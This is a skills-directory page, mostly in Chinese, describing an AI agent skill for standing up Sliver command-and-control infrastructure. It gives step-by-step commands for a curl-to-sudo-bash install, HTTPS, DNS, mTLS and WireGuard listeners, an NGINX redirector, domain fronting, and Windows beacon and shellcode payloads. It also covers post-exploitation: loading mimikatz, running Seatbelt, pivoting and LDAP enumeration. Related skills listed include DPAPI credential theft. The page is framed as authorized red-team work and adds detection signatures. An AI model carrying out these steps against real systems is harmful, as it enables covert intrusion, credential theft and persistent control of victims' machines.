Communitygithub.com

使用Sliver框架构建C2基础设施

部署并加固Sliver C2团队服务器(BishopFox),涵盖HTTPS、mTLS、DNS和WireGuard监听器配置,以及重定向器和域前置等高级隐藏技术。

使用Sliver框架构建C2基础设施 是什么?

本技能文档详细指导如何部署和配置Sliver C2框架,这是一个由BishopFox开发、基于Go语言的开源跨平台对手模拟框架。文档涵盖了从团队服务器部署到监听器配置、重定向器设置、载荷生成和后利用操作的完整流程。Sliver支持信标(异步)和会话(交互式)两种通信模式,适用于长期潜伏和交互式利用。该技能的核心价值在于帮助红队构建一套具有弹性、可检测性低的C2基础设施,采用了HTTPS/mTLS/DNS/WireGuard多协议通道、NGINX反向代理重定向器、Cloudflare CDN域前置、多操作员证书认证等安全机制,并提供了MITRE ATT&CK战术映射和检测签名参考。

兼容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/building-c2-infrastructure-with-sliver-framework

在你喜欢的 AI 中提问

打开一个已预加载此 Agent Skill 的新对话。

文档

使用Sliver框架构建C2基础设施 是做什么的?

概述

Sliver是由BishopFox开发的开源跨平台对手模拟框架,使用Go语言编写。它为红队提供载荷生成、多协议C2通道(mTLS、HTTP/S、DNS、WireGuard)、多操作员支持以及广泛的后利用能力。Sliver支持信标(异步)和会话(交互式)两种模式,适用于长期潜伏操作和交互式利用。一个设计良好的Sliver基础设施应使用重定向器、域前置和HTTPS证书来维持操作弹性并避免检测。

何时使用

  • 当需要在你的环境中部署或配置使用Sliver框架构建C2基础设施的能力时
  • 当建立符合合规要求的安全控制措施时
  • 当构建或改进此领域的安全架构时
  • 当进行需要此实现的安全评估时

前置条件

  • 熟悉红队概念和工具
  • 拥有可用于安全执行测试或实验环境
  • Python 3.8+ 及所需依赖项已安装
  • 对任何测试活动拥有适当授权

目标

  • 在加固的云基础设施上部署Sliver团队服务器
  • 配置HTTPS、mTLS、DNS和WireGuard监听器
  • 为目标平台生成载荷(信标和会话)
  • 在目标与团队服务器之间设置NGINX或Apache重定向器
  • 实现Cloudflare或基于CDN的域前置以混淆流量
  • 配置基于证书认证的多操作员访问
  • 为C2通信建立操作安全控制

MITRE ATT&CK映射

  • T1071.001 - 应用层协议:Web协议
  • T1071.004 - 应用层协议:DNS
  • T1573.002 - 加密通道:非对称加密
  • T1090.002 - 代理:外部代理(重定向器)
  • T1105 - 入口工具传输
  • T1132.001 - 数据编码:标准编码
  • T1572 - 协议隧道

工作流程

第一阶段:团队服务器部署

  1. 为团队服务器准备一台VPS(例如DigitalOcean、Linode、AWS EC2)
  2. 加固操作系统:禁用SSH密码认证,配置UFW/iptables,安装fail2ban
  3. 使用官方安装脚本安装Sliver:
    curl https://sliver.sh/install | sudo bash
    
  4. 启动Sliver服务器守护进程:
    systemctl start sliver
    # 或以交互模式运行
    sliver-server
    
  5. 为团队成员生成操作员配置文件:
    new-operator --name operator1 --lhost <team-server-ip>
    

第二阶段:监听器配置

  1. 配置带有合法SSL证书的HTTPS监听器:
    https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
    
  2. 配置DNS监听器作为备用C2通道:
    dns --domains c2dns.example.com --lport 53
    
  3. 配置mTLS监听器用于高安全会话:
    mtls --lhost 0.0.0.0 --lport 8888
    
  4. 配置WireGuard监听器用于隧道访问:
    wg --lport 51820
    

第三阶段:重定向器设置

  1. 部署一台单独的VPS作为重定向器(位于目标与团队服务器之间)
  2. 安装并配置NGINX作为反向代理:
    server {
        listen 443 ssl;
        server_name c2.example.com;
        ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
    
        location / {
            proxy_pass https://<team-server-ip>:443;
            proxy_ssl_verify off;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
    
  3. 在团队服务器上配置iptables规则,只接受来自重定向器的连接:
    iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
    iptables -A INPUT -p tcp --dport 443 -j DROP
    
  4. (可选)在重定向器前设置Cloudflare作为CDN层,实现域前置

第四阶段:载荷生成

  1. 生成HTTPS信标载荷:
    generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
    
  2. 为受限网络生成DNS信标:
    generate beacon --dns c2dns.example.com --os windows --arch amd64
    
  3. 生成用于注入的Shellcode载荷:
    generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
    
  4. 配置信标抖动和回调间隔:
    generate beacon --http https://c2.example.com --seconds 60 --jitter 30
    

第五阶段:后利用操作

  1. 与活动信标/会话交互:
    beacons        # 列出活动信标
    use <beacon-id> # 与信标交互
    
  2. 执行后利用模块:
    ps              # 进程列表
    netstat         # 网络连接
    execute-assembly /path/to/Seatbelt.exe -group=all  # 运行.NET程序集
    sideload /path/to/mimikatz.dll  # 加载DLL
    
  3. 设置枢轴以访问内部网络:
    pivots tcp --bind 0.0.0.0:9898  # 在被控主机上创建枢轴监听器
    
  4. 使用BOF(信标对象文件)进行内存执行:
    armory install sa-ldapsearch  # 从兵工厂安装
    sa-ldapsearch -- "(objectClass=user)"  # 执行BOF
    

工具与资源

工具用途平台
Sliver ServerC2团队服务器和载荷管理Linux/macOS/Windows
Sliver Client团队成员的操控制台跨平台
NGINX重定向器和反向代理Linux
CertbotLet's Encrypt SSL证书生成Linux
CloudflareCDN和域前置云服务
ArmorySliver扩展/BOF包管理器内置

检测签名

指标检测方法
默认Sliver HTTP头部网络流量分析,检测异常的User-Agent字符串
非标准端口上的mTLS防火墙日志,检测到非标准端口的出站连接
高熵的DNS TXT记录查询DNS日志分析,检测编码的C2流量
端口51820上的WireGuard UDP流量网络流分析,检测WireGuard握手模式
Sliver载荷文件哈希EDR/AV签名匹配,识别已知的Sliver样本

验证标准

  • 团队服务器已部署并加固了防火墙规则
  • HTTPS监听器已配置并带有有效SSL证书
  • DNS监听器已配置为备用C2通道
  • 在目标与团队服务器之间至少部署了一个重定向器
  • 已使用唯一证书配置多操作员访问
  • 已为目标操作系统生成载荷
  • 已配置信标回调间隔和抖动以实现隐蔽性
  • 已测试后利用模块(进程列表、.NET程序集执行)
  • 已验证用于内部网络访问的枢轴功能
  • 所有C2流量均已加密并通过重定向器传输

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

相关技能